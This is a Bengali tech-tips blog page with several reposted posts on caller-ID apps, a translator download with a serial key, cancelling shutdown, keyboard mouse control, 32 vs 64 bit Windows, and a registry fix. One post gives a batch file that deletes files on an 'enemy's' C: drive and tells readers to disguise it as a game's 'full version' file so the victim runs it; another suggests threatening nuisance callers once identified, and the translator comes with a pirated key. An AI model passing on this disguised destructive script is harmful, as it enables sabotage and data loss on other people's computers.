Get Flower Effect
News Update :
Related Posts Plugin for WordPress, Blogger...
Hot News »
Bagikan kepada teman!

ফোনে কল দিয়ে কেউ বিরক্ত করছে? সহজেই বের করে ফেলুন তার নাম-ঠিকানা।

Penulis : Unknown on রবিবার, ৩ এপ্রিল, ২০১৬ | ৫:৫০:০০ PM

রবিবার, ৩ এপ্রিল, ২০১৬

ইদানিং দেখা যাচ্ছে কিছু unknown নাম্বার এসে বিরক্ত করতেছে। আজ আমি আপনাদের জন্য নিয়ে এলাম অচেনা নাম্বার ট্রাকিং করার সহজ উপায় সমুহ।
ক্রমাগত মোবাইলে অচেনা নম্বর থেকে কল বা মিসকল আসার মত বিরক্তিকর ব্যাপার কিছুই হতে পারে না। বিশেষত মেয়েদের জন্যে এই ভোগান্তি তো একেবারেই অলিখিত। বকাঝকা, ফোন সাইলেন্ট করে রাখা কোন কিছুতেই যেন কাজ হয় না। কিন্তু ভাবুন তো, অচেনা এই লোকটির নাম ঠিকানা যদি এক মিনিটেই আপনার হাতের মুঠোয় চলে আসে, আর আপনি উলটো তার নাম ধরে ডেকে বেশ ভালো রকম একটা হুমকী দিতে পারেন, কিংবা সহজেই পুলিশের কাছে তার নাম ঠিকানা দিয়ে দিতে পারেন, তাহলে কি ভালোটাই না হতো! না স্বপ্ন নয় একেবারেই, প্রযুক্তির উৎকর্ষে এই ছোট্ট কাজটি আপনি করতে পারেন স্রেফ ঘরে বসেই। আপনার স্মার্টফোনে গুগল প্লে স্টোর থেকে কয়েক সেকেন্ডেই নামিয়ে নিতে পারেন, এইসব অচেনা নাম্বার থেকে ফোনদাতার নাম ঠিকানা, সবই!
True caller:
এই ছোট্ট অ্যাপস টি পাবেন গুগল প্লে স্টোরে। এটি আপনার ফোনে ইন্সটল করে নিন। তারপর কোন অচেনা নম্বর থেকে ফোন এলেই, স্রেফ জাদুর মত আপনার ফোনে ভেসে উঠবে কলদাতার নাম। তবে হ্যাঁ, শর্ত প্রযোজ্য। সেই নম্বরটি যদি তার নামে রেজিস্ট্রেশন করা থাকে, তবেই আপনি এই সুবিধাটা পাবেন। আর সেই লোক যদি ফেসবুকে এই নম্বরটি ব্যবহার করে থাকেন, তাহলে তো দেখতে পাবেন তার ছবি সহই! দেখে নিন তো, পরিচিত কেউই আপনার সাথে এই বিরক্তিকর আচরণটি করছে কিনা! বাড়তি পাওনা হিসেবে বিনেপয়সায় আপনি এই কলদাতাকে ব্লক করে রাখতে পারবেন।
Facebook:
বার বার ফোন করতেই থাকা বিরক্তিকর নম্বরটিকে কিন্তু আপনি ট্র্যাক করতে পারেন ফেসবুকের মাধ্যমেও। ফেসবুকের সার্চ অপশনে গিয়ে ফোন নম্বরটি টাইপ করুন। সে ব্যক্তি যদি এই ফোন নম্বরটি তার একাউন্টে ব্যবহার করে (করার সম্ভাবনা খুব বেশী), তাহলে তাকে সহজেই খুঁজে পাওয়া সম্ভব।
LINE whoscall:
অনেকটা ট্রুকলারের মতই এটিও অচেনা ফোনদাতার রেজিস্টার্ড নাম ও অন্যান তথ্য ও তার মোবাইলে লোকেশন অন থাকলে তার ঠিকানা অব্দি দেখিয়ে দেবে আপনাকে।
Mobile Number Locator:
অচেনা নম্বর থেকে ফোনদাতার রেজিস্টার্ড নাম জানবে এই অ্যাপটি। অ্যাপটির অন্যতম সুবিধা হচ্ছে, এটি ইন্টারনেট কানেকশন ছাড়াই কাজ করে। ইনকামিং ও আউটগোয়িং কল চলাকালীনই কলারের ও প্রাপকের বিস্তারিত জানিয়ে দেয় এই অ্যাপ। গুগল ম্যাপের সাহায্যে এই অ্যাপ কলারের লোকেশনও দেখিয়ে দেবে।
তাহলে আর দেরী কেন, মুখোশ খুলে নিন বিরক্তিকর ফোন বা মিসকলদাতার।

-সংগৃহিত-
মোঃ ফাহিম আহম্মেদ রিয়াদ। ফেসবুকে আমি
মন্তব্য(গুলি) | | Read More...

যে কোন ভাষাকে ট্রান্সলেট করুন চরম একটি সফটওয়্যার দিয়ে। (সাইজ মাত্র ২ মেগাবাইট)

বন্ধুরা আজ আপনাদের সাথে চরম একটি সফটওয়্যার শেয়ার করবো। সাধারণত আমরা কোন ভাষার ট্রান্সলেট করতে গেলে গুগুল ট্রান্সলেটের সাহায্য নিয়ে থাকি। কিন্তু সমস্যা হলো নেট কানেকশন না থাকলে আমরা গুগুল ট্রান্সলেট ব্যবহার করতে পারিনা। তা ছাড়া গুগুল ট্রান্সলেটের ট্রান্সলেটটাও হয় একটু জঘন্য। তাই আমি আজ আপনাদের কাছে শেয়ার করবো  ছোট্ট একটি সফটওয়্যার, যার  ট্রান্সলেটটা গুগুল ট্রান্সলেট থেকেও সুন্দর। সফটওয়্যারটি এখানে ক্লিক করে ডাউনলোড করে নিন। সাথে সিরিয়াল কিও দেওয়া আছে। সাইজ মাত্র ২ মেগাবাইট।
ডাউনলোড করুন ←এখান থেকে।
ডাউনলোড হয়ে গেলে ইন্সটল করে ফেলুন।
এখানে From থেকে আপনি যে ভাষাকে ট্রান্সলেট করতে চান সে ভাষা সিলেক্ট করে দিন এবং To থেকে যে ভাষায় ট্রান্সলেট করতে চান তা সিলেক্ট করে দিন। সর্বশেষ Translate এ ক্লিক করুন। ব্যাস এবার দেখুন আপনার ভাষাটি দারুনভাবে ট্রান্সলেট হয়ে গেছে।
তো বন্ধুরা আজ কে এই পর্যন্ত আবার অন্য কোনো দিন হাজির হব অন্য কোনো টিউন নিয়ে সেই পর্যন্ত সবাই ভালো থাকবেন। ধন্যবাদ সবাইকে।


-সংগৃহিত-
মোঃ ফাহিম আহম্মেদ রিয়াদ। ফেসবুকে আমি
মন্তব্য(গুলি) | | Read More...

ভুল করে Shutdown বাটনে ক্লিক দিয়ে ফেলেছেন??? খুব সহজেই Shutdown Command cancel করুন

ভুল করে Shutdown বাটনে ক্লিক দিয়ে ফেলেছেন??? খুব সহজেই Shutdown Command cancel করুন-ছোট্ট একটা ট্রিক দিয়ে
আজ আপনাদের command করে দেওয়া shutdown cancel করা দেখাব।
ধরুন, কম্পিউটারে আপনি জরুরি কোন কাজ করছেন, এখনও কিছু Save করেননি। হঠাৎ ভুলে Shutdown বাটনে প্রেস লেগে পিসি shutdown হয়ে গেল, কেমন লাগে বলুন তো!!!
আপনার সব কাজ মাটি।
তাই এই সমস্যা থেকে রেহাই পেতে আজকের এই টিউন।
কিভাবে Shutdown command cancel করবেন?
প্রথম ধাপঃ
প্রথমে ডেস্কটপের ওপর রাইট বাটন ক্লিক করে New>Shortcut দিন।
দ্বিতীয় ধাপঃ
এবার Location-এ লিখুন “shutdown-a”
এবার এর পছন্দমত নাম দিন। চাইলে icon-ও চেঞ্জ করতে পারবেন।
ব্যস, আপনার সবকিছু Ready!!!
এবার ভুল করে Shutdown command দেওয়ার পাঁচ সেকেন্ডের মধ্যে এতে ডাবল ক্লিক করুন। তাহলে shutdown cancel হয়ে যাবে।


-সংগৃহিত-
মোঃ ফাহিম আহম্মেদ রিয়াদ। ফেসবুকে আমি
মন্তব্য(গুলি) | | Read More...

হঠাৎ মাউস নষ্ট হয়ে গেলে যা করবেন।

টাইটেল দেখেইত মনে হয় বুঝে গেছেন যে কি নিয়ে আলোচনা কররা হবে। তাহলে বেশি কথা না বললে কাজের কথাই আসি।
হঠাৎ করেই মাউস নষ্ট হলে কি করবেন?
যেনে নিন এখন প্রায় সময়ই দেখা যায়
মাউসে সিঙ্গেল ক্লিক করলে ডাবল
ক্লিক লেগে যায়, আবার অনেক সময়
দেখা যায় দুই তিনটা ক্লিক করলেও
ঠিক মতো ক্লিক লাগেনা। আজকে আমি
আপনাদের দেখাবো জরুরী মূহুর্তে এই
ধরনের সমস্যা হলে মাউস বাদ দিয়ে
কিভাবে কিবোর্ড কেই মাউসে
রূপান্তরিত করে কাজ চালিয়ে যাবেন।
তাহলে চলুন কথা না বারিয়ে
কাজে লাগে পরি।
প্রথমেই আপনার কম্পিউটারের কিবোর্ড
থেকে Num Lock, of করে রাখুন। এবার
কিবোর্ড থেকে এক সাথে Alt +shift+num
Lock চাপুন। এবার দেখুন নিচের চিত্রের
মতো একটি মেসেজ আসবে, নিচের চিত্র
দেখুন।
এবার tab বাটন চেপে yes সিলেক্ট করে
এন্টার চাপুন পুরো বিষয়টা উপরের
চিত্রের মতো হবে। এবার কিবোর্ড এর
num Lock, on করুন, এবার num lock এর
অন্তর্ভুক্ত থাকা বাটন গুলো চাপ দিয়ে
দেখুন আপনার কিবোর্ডটি মাউসে
রূপান্তরিত হয়ে গেছে।
বন্ধুরা আজ এ পর্যন্তই কথা হবে পরবর্তী
টিউনে সেই পর্যন্ত সবাই ভালো
থাকবেন।
সবাইকে ধন্যবাদ


-সংগৃহিত-
মোঃ ফাহিম আহম্মেদ রিয়াদ। ফেসবুকে আমি
মন্তব্য(গুলি) | | Read More...

এবার Delete করে দিন শত্রুর C: drive এর সব ফাইল ছোট একটি VIRUS তৈরী করে.

আজকে আপনাদের দেখাব কিভাবে
ছোট একটি Virus তৈরী করে c drive এর সব ফাইল মুছে ফেলুন৤ Virus টা তৈরী করতে আপনাকে অভিজ্ঞতা সম্পূর্ন হতে হবে না৤
প্রথমে start menu থেকে notepad ওপেন করুন৤
এখন নীচের কোডটি কপি করে পেস্ট করুন বা টাইপ করুন৤
@Echo off
Del C:\ *.* |y
এখন এটাকে যেকোনো নামে সেভ করুন তবে শেষে .bat দিতে হবে৤ যেমন: khaicitore.bat
ব্যাস হয়ে গেলো৤ তবে আপনার শত্রু আকর্ষিত হয় এরকম কোনো নাম দিয়ে সেভ করলেই সবচেয়ে ভালো হয়৤
এবার এটাকে এমন এক জায়গায় রাখুন যেখানে আপনার শত্রু দেখলে ডাবল ক্লিক করতে পারে৤ আপনি চাইলে এটাকে যেকোনো গেম এর সাথে দিয়ে দিতে পারেন এবং লিখে দিতে পারেন full version যাতে আপনার শত্রু এটাকে ঐ গেমটার ফুল ভার্সন করার ফাইল মনে করে ডাবল ক্লিক করে৤
সতর্কবাণীঃ জানার কোনো শেষ নাই৤ আমি এটা শুধু জানার জন্যই টিউন করলাম৤ এর মানে এই নয় যে কারো ক্ষতি করতে হবে৤ তাই দয়া করে কারো কোনো ক্ষতি করবেন না৤
বিশেষ সতর্কবাণীঃ ভুল করেও আপনার কম্পিউটারে এটা পরীক্ষা করতে যাবেন না৤
কারো কোনো ক্ষতির জন্য টিউনার দায়ী নয়৤


-সংগৃহিত-
মোঃ ফাহিম আহম্মেদ রিয়াদ। ফেসবুকে আমি
মন্তব্য(গুলি) | | Read More...

৩২ বিট আর ৬৪ বিট এর পার্থক্য কি??

আসসালামু আলাইকুম
সবাই কেমন আছেন?আশা করি ভাল আছেন।
আজকে আমাদের এই টিউনটাতে যে বিষয় নিয়ে আলোচনা করা হবে তা হল,আমরা অনেকে কম্পিউটার এ 32Bit & 64 Bit ব্যবহার করি।আজকে আমরা যানব ৩২ বিট এবং ৬৪ বিট এর পার্থক্য কি?
32bit Win7
কম্পিউটার যারা ব্যবহার করেন তারা নিশ্চয় ৩২ বিট আর ৬৪ বিটের নাম শুনেছেন। ৩২ বিট আর ৬৪ বিট এর জন্য আলাদা আলাদা প্রসেসর, অপারেটিং সিস্টেম, সফটওয়ার, আর ড্রাইভার আছে। তবে নতুনদের মধ্যে অনেকেই জানেন না এই ৩২ বিট আর ৬৪ বিট কি। এদের মধ্যে পার্থক্য কি, কি জন্য ব্যবহার করা হয় বা নিজের কম্পিউটারটি কত বিটের তা কিভাবে চেক করবেন তাও অনেকের অজানা। এটি নিয়েই আমার পোষ্টটি লেখা। এখানে প্রশ্নগুলোর উত্তর দেয়ার চেস্টা করছি।
৩২ বিট আর ৬৪ বিট এ পার্থক্য কিঃ
১। ৩২ বিট এর চেয়ে ৬৪ বিটে উইন্ডোজের নিরাপত্তা ব্যবস্থা বেশি, বিশেষ করে Kernel Patch Protection
অনেক বেশি শক্তিশালী হয় ৬৪ বিটে। Kernel হল প্রসেসর, হার্ডওযার, ডিভাইস ড্রাইভার এর সাথে অন্যান্য সফটওয়ারের সমন্বয় রক্ষা করে চলার একটি পদ্ধতি যার উপর ভিত্তি করে অপারেটিংস সিস্টেম তৈরি হয়। একেক অপারেটিং সিস্টেমে একেক ধরনের Kernel ব্যবস্থা ব্যবহার করা হয়।
২। ৬৪ বিট উইন্ডোজে ডিজিটাল সাইন ছাড়া ড্রাইভার ইন্সটল করা যায় না। ডিজিটাল সাইনটা এক প্রকার কোম্পানির সীলের মত। যখন ঐ সফটওয়ারটাকে ভাইরাস আক্রমন করে বা এর মধ্যে কোন পরিবর্তন হয় তখন ডিজিটাল সাইনটি পরিবর্তিত হয়ে যায় যাকে হিসেবে উইন্ডোজ ধরে নেয়। ৩২ বিটেও ডিজিটাল সাইন ছাড়া ড্রাইভার ইন্সটল না করার অপশন আছে তবে এটি ডিফল্ট সেটিংস নয়। কিন্তু ৬৪বিটে উইন্ডোজ Digital Sign Broken কে অনুমোদন করে না।
৩। ৬৪ বিট প্রসেসরে ৬৪ বিট এবং ৩২ বিট দুই ধরনের উন্ডোজই (অপারেটিং সিস্টেম) ব্যবহার করা যায়। তবে ৩২ বিট প্রসেসরে শুধু মাত্র ৩২ বিট উন্ডোজই ব্যবহার করা যায়। সুতরাং ৬৪বিট উইন্ডোজ ব্যবহার করতে চায়লে ৬৪বিট প্রসেসরই লাগবে।
৪। ৬৪বিট উইন্ডোজে কিছু কিছু ৩২বিটের সফওয়ার, আর ড্রাইভার রান করা গেলেও অনেক সময় সমস্যা দেখা দেয়, সঠিকভাবে কাজ করে না। তবে ৩২বিট উইন্ডোজে ৬৪বিট সফটওয়ার বা ড্রাইভার কোনটাই কাজ করে না। অর্থাৎ সঠিকভাবে কাজ করার জন্য ৬৪বিটের জন্য ৬৪বিটের সফটওয়ার আর ড্রাইভার যেমন দরকার তেমন ৩২ বিটের জন্যও ৩২বিটের সফটওয়ার আর ড্রাইভার দরকার। আবার ১৬বিট প্রোগ্রামগুলো ৩২বিটে কাজ করলেও ৬৪বিটে কাজ করে না। ৬৪ বিটের প্রোগ্রামগুলো ৩২বিটের চেয়ে পারফরমেন্স ভাল দেখায়। যেমন ক্রাশ করা বা এরকম অন্যান্য সমস্যাগুলো থেকে ৬৪বিট প্রোগ্রামগুলো মুক্ত বললেই চলে।
৫। ৬৪বিট প্রসেসর সাধারণত x64 এবং ৩২বিট প্রসেসর সাধারণত x86 গতিতে চলে।
৬। ৩২ বিটের জন্য সাধারণত 512MB থেকে 4 GB পর্যন্ত RAM Recommend করা হয় যেখানে ৬৪বিটের জন্য 4 GB recommend করা হয়। এর চেয়ে কম হলেও চলে। RAM
সবচেয়ে বড় ব্যাপার হল 4 GB এর উপর RAM ব্যবহার করতে চায়লে অবশ্যই ৬৪বিট প্রসেসর আর উইন্ডোজ ব্যবহার করতে হবে। কারণ ৩২ বিটে 4 GB এর উপর RAM ব্যবহার করা হলেও তা ব্যবহৃত হয় না। এমনকি অনেক সময় সর্বোচ্চ 3 GB পর্যন্ত ব্যবহৃত হয়ে বাকিগুলো RAM অব্যবহৃত থেকে যায় কারণ হার্ডওয়ার সাপোর্ট করে না। অন্যদিকে ৬৪বিটে 1GB থেকে 128GB এর চেয়ে বেশি RAM সাপোর্ট করে। যদিও এখনো 128GB RAM ব্যবহারের রেকর্ড শুনা যায়নি। তবে ব্যবস্থাটা রাখা হয়েছে।
যে সব কাজের জন্য বেশি RAM প্রয়োজন তার জন্য ৬৪বিটের বিকল্প নেই। যেমন হলিউডের যে ফিল্মগুলো তৈরি করা হয় তাতে সব ৬৪বিটের প্রোগ্রামগুলোই ব্যবহার করা হয়। তেমনি 3D, High powerful Graphics আর Multimedia’র জন্য ৬৪বিট একমাত্র সমাধান।
আশাকরি কারো মনে আর এই প্রশ্ন থাকবে না যে -৩২বিট আর ৬৪বিটে পার্থক্য কি বা ৩২বিট নাকি ৬৪বিট কোনটা ভাল।
আপনার পিসিটি ৩২ বিট নাকি ৬৪ বিট?
আগেই বলেছি ৬৪বিট অপারেটিং সিস্টেম আর প্রোগ্রাম ব্যবহার করার জন্য ৬৪বিট প্রসেসরই ব্যবহার করতে হয়। তবে ৬৪বিট প্রসেসর থাকলেও আপনি ৩২বিট অপারেটিং সিস্টেম আর প্রোগ্রাম ব্যবহার করতে পারেন। তাই প্রশ্ন জাগে নিজের অপারেটিং সিস্টেমটি ৩২ বিট নাকি ৬৪ বিট। এটা বলা যায় আমরা সাধারণত ৩২বিটই ব্যবহার করে থাকি। কারণ আমরা মনেকরি ৬৪বিট আর ৩২বিট একই। তাই আমাদের বাজারে যা পাওয়া যায় তার বেশির ভাগই ৩২বিট।
আপনারটি চেক করার জন্য My Computer>Properties>General এ যান যাকে আমরা My Computer Properties বা System Properties বলে থাকি। ওখানে আপনি দেখবেন আপনি কোন অপারেটিং সিস্টেম ব্যবহার করেন, কত ভার্সন এবং তা কত বিটের। আপনর পিসি কত র‍্যযাম ব্যবহার করছে তাও ওখানে দেখতে পাবেন। যদি বিট দেখতে না পান তাহলে বুঝে নেবেন আপনি ৩২বিটই ব্যবহার করছেন। ৬৪ হলে তা অবশ্যই প্রদর্শিত হবে। কিন্তু ৩২বিট হলে তা ভার্সনভেধে প্রদর্শিত নাও হতে পারে।


-সংগৃহিত-
মোঃ ফাহিম আহম্মেদ রিয়াদ। ফেসবুকে আমি
মন্তব্য(গুলি) | | Read More...

আপনার পিসির CD/DVD ROM কাজ করছে না ? ঠিক করে দিই।


তাহ লে আর দেরি না করে শুরু করা যাক আজকের এই মজার।টিউনটি।
যদি CD/DVD ROM-এ প্রবলেম না থাকে, অর্থাৎ ওটা যদি নষ্ট না হয়, তবে এই সমস্যা সমাধান করা যায় ।
দেখিয়ে দিচ্ছি পদ্ধতিটাঃ
1. Ctrl+R চেপে Run, এরপর regedit লিখে OK করুন ।
2. HKEY_LOCAL_MACHINE-কে collapse করুন ।
3.  এরপর System-কে collapse করুন ।
4. এরপর Current Control Set
5. এবার control..
6. এবার Class.
7. এবার {4D36E965...............} তে ক্লিক করুন ।
8. এবার ডানপাশে Lower Filters-এ রাইট ক্লিক করে delete করে বেরিয়ে আসুন ।
9. computer রিস্টার্ট দিন । আশাকরি এরপর আর সমস্যা হবে না ।সব কিছু ঠিক ঠাক চলবে।

-সংগৃহিত-
মোঃ ফাহিম আহম্মেদ রিয়াদ। ফেসবুকে আমি
মন্তব্য(গুলি) | | Read More...

ফেসবুকে লাইক দিয়ে যুক্ত থাকুন আমাদের সাথে

 
Copyright © 2016. Fahim's World (ফাহিম'স ওয়ার্লড) . All Rights Reserved. ____This Site is created by Md. Fahim Ahammed Riyad.মোঃ ফাহিম আহম্মেদ রিয়াদ ।
Design Template by FAHIM | Support by Md. Fahim Ahammed Riyad | Powered by Blogger

Announcement:

আপনিও কী এরকম সাইট চাচ্ছেন ? মাত্র ১২০ টাকায় পাবেন এরকম সাইট । তাহলে এখই যোগাোগ করুন 01793113048 নাম্বারে ।